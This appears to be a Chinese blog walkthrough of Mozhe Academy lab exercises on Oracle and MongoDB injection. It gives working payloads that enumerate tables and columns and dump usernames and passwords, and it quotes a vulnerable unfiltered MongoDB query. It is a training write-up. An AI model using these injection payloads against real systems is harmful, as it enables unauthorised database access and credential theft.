当前位置: 首页 > news >正文

Oracle MongoDB

听课的时候第一次碰到,可以了解一下吧,就直接开了墨者学院的靶场

#oracle数据库

Oracle数据库注入全方位利用 - 先知社区

这篇写的真的很好

1.判断注入点

当时找了半天没找到

看样子是找到了,测试一下看看

id=1 and 1=1 时没有报错

2.判断字段数

3.确定回显点

?id=1 union select null,null from dualoracle自带虚拟表dual,oracle的查询语句必须完整的包含from字句,且每个字段的类型都要准确对应,一般使用null来判断类型。?id=1 union select 'null','null' from dualoracle对于字段点数据类型敏感,也就是说我们不能直接union select 1,2,3来获取显错点了,需要在字符型字段使用字符型数据,整型字段使用整型数据才可以。如下,两个字段都为字符型,故使用union select 'null','null'。

第一个null回显在红字部分,第二个null回显在下边

4.获取表名

直接查询

获取第一个表名LOGMNR_SESSION_EVOLVE$

?id=1 union select 'null',(select table_name from user_tables where rownum=1) from dual

查询其他表

LOGMNR_GLOBAL$

?id=1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_SESSION_EVOLVE$') from dual

 LOGMNR_SESSION_EVOLVE$

?id=1 union select 'null',(select table_name from user_tables where rownum=1 and table_name not in 'LOGMNR_GLOBAL$') from dual

模糊查询

sns_users 

?id=1 union select 'null',(select table_name from user_tables where table_name like '%user%' and rownum=1) from dual

 

5.获取列名

USER_NAME

?id=1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1) from dual

USER_PWD 

?id=1 union select 'null',(select column_name from user_tab_columns where table_name='sns_users' and rownum=1 and column_name not in'USER_NAME') from dual

 

5.查询数据

?id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1

?id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong'

终于出来啦

?id=1 union select USER_NAME,USER_PWD from "sns_users" where rownum=1 and USER_NAME <> 'zhong' and USER_NAME not in 'hu'

解码一下

拿账号密码登录就可

#Mongodb 数据库

MongoDB 查询文档 | 菜鸟教程

渗透测试之地基服务篇:服务攻防之数据库Mongodb(下) - FreeBuf网络安全行业门户



数据库安全之MongoDB渗透 - FreeBuf网络安全行业门户

先要了解一下查询方式

在mysql中使用where子句来实现条件查询

但是mongogb是使用键值

先看下源码

# 查询语句,这里id值可控且没有经过过滤和限制
$query = "var data = db.notice.findOne({'id':'$id'}); return data;";
​
#打印出数据库中title字段和content字段信息
<?php echo $obj['retval']['title'] ?>
<?php echo $obj['retval']['content'] ?>

1.判断注入点

还是老的

2.测回显

如何构造payload?正常写法:select * from news where id=1mdb数据库写法:select * from news where id={('$id')},需要闭合符号原始语句:db.notice.findOne({'id':'$id'});return data;如果 ?id=1 order by 2那么语句就会变成:db.notice.findOne({'id':‘1 order by 2’});return data;,语句不正确。但是注入语句 ?id=1'}); return ({title:tojson(db),content:'1那么语句就变成:db.notice.findOne({'id':‘1'}); return ({title:tojson(db),content:'1'});return data; ,就可以进行正常的注入。测回显:?id=1'}); return ({title:1,content:'test

根据源码来确定 title回显在红色,content在灰字

3.获取库名

mozhe_cms_Authority

?id=1'}); return ({title:tojson(db),content:'1db.getCollectionNames()返回的是数组,需要用to json转换为字符串。并且mongodb函数区分大小写

4.获取表名

?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1getCollectionNames()以数组形式返回所有集合,需要使用tojson()方法转字符串格式

5.获取数据、

?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1db.Authority_confidential是当前用的集合(表),find函数用于查询,0是第一条数据

这个密码得到是假的

?id=1'}); return ({title:tojson(db.Authority_confidential.find()[1]),content:'1查询第二条数据

这是对的

http://www.lryc.cn/news/260626.html

相关文章:

  • Linux-RedHat系统-安装 中间件 Tuxedo
  • PHP中的依赖注入是怎样的?
  • Python求小于m的最大10个素数
  • 系统的安全性设计
  • 美容店预约小程序搭建指南
  • AI:ElasticSearch
  • 如何用 Python 代码打包成一个可执行的 exe 文件?
  • 【Hive】——CLI客户端(bin/beeline,bin/hive)
  • 简约大气视频制作模板PR剪辑素材PR项目工程文件
  • Guarded Suspension(担保挂起)设计模式
  • 禾匠榜店商城系统 RCE漏洞复现
  • Python移动未标注的图片数据集
  • 判断css文字发生了截断,增加悬浮提示
  • day33-37-SpringBootV12(整合Spring,SpringMVC,Mybatis,日志,api测试等框架)
  • 如何处理好面试中的“压力测试”?
  • 大数据----31.hbase安装启动
  • ChatGPT Plus重新开启订阅
  • C#科学绘图之scottPlot绘制多个图像
  • 二百一十五、Flume——Flume拓扑结构之复制和多路复用的开发案例(亲测,附截图)
  • Leetcode—2962.统计最大元素出现至少 K 次的子数组【中等】
  • MapReduce模拟统计每日车流量-解决方案
  • 【深度学习】强化学习(二)马尔可夫决策过程
  • Vue.js 使用基础知识
  • Linux---计划任务
  • .NET微信网页开发之通过UnionID机制解决多应用用户帐号统一问题
  • 【docker】docker入门与安装
  • 视觉学习笔记12——百度飞浆框架的PaddleOCR 安装、标注、训练以及测试
  • 深入分析ClassLocader工作机制
  • 算法通关村第十二关—字符串转换(青铜)
  • C#基础与进阶扩展合集-基础篇(持续更新)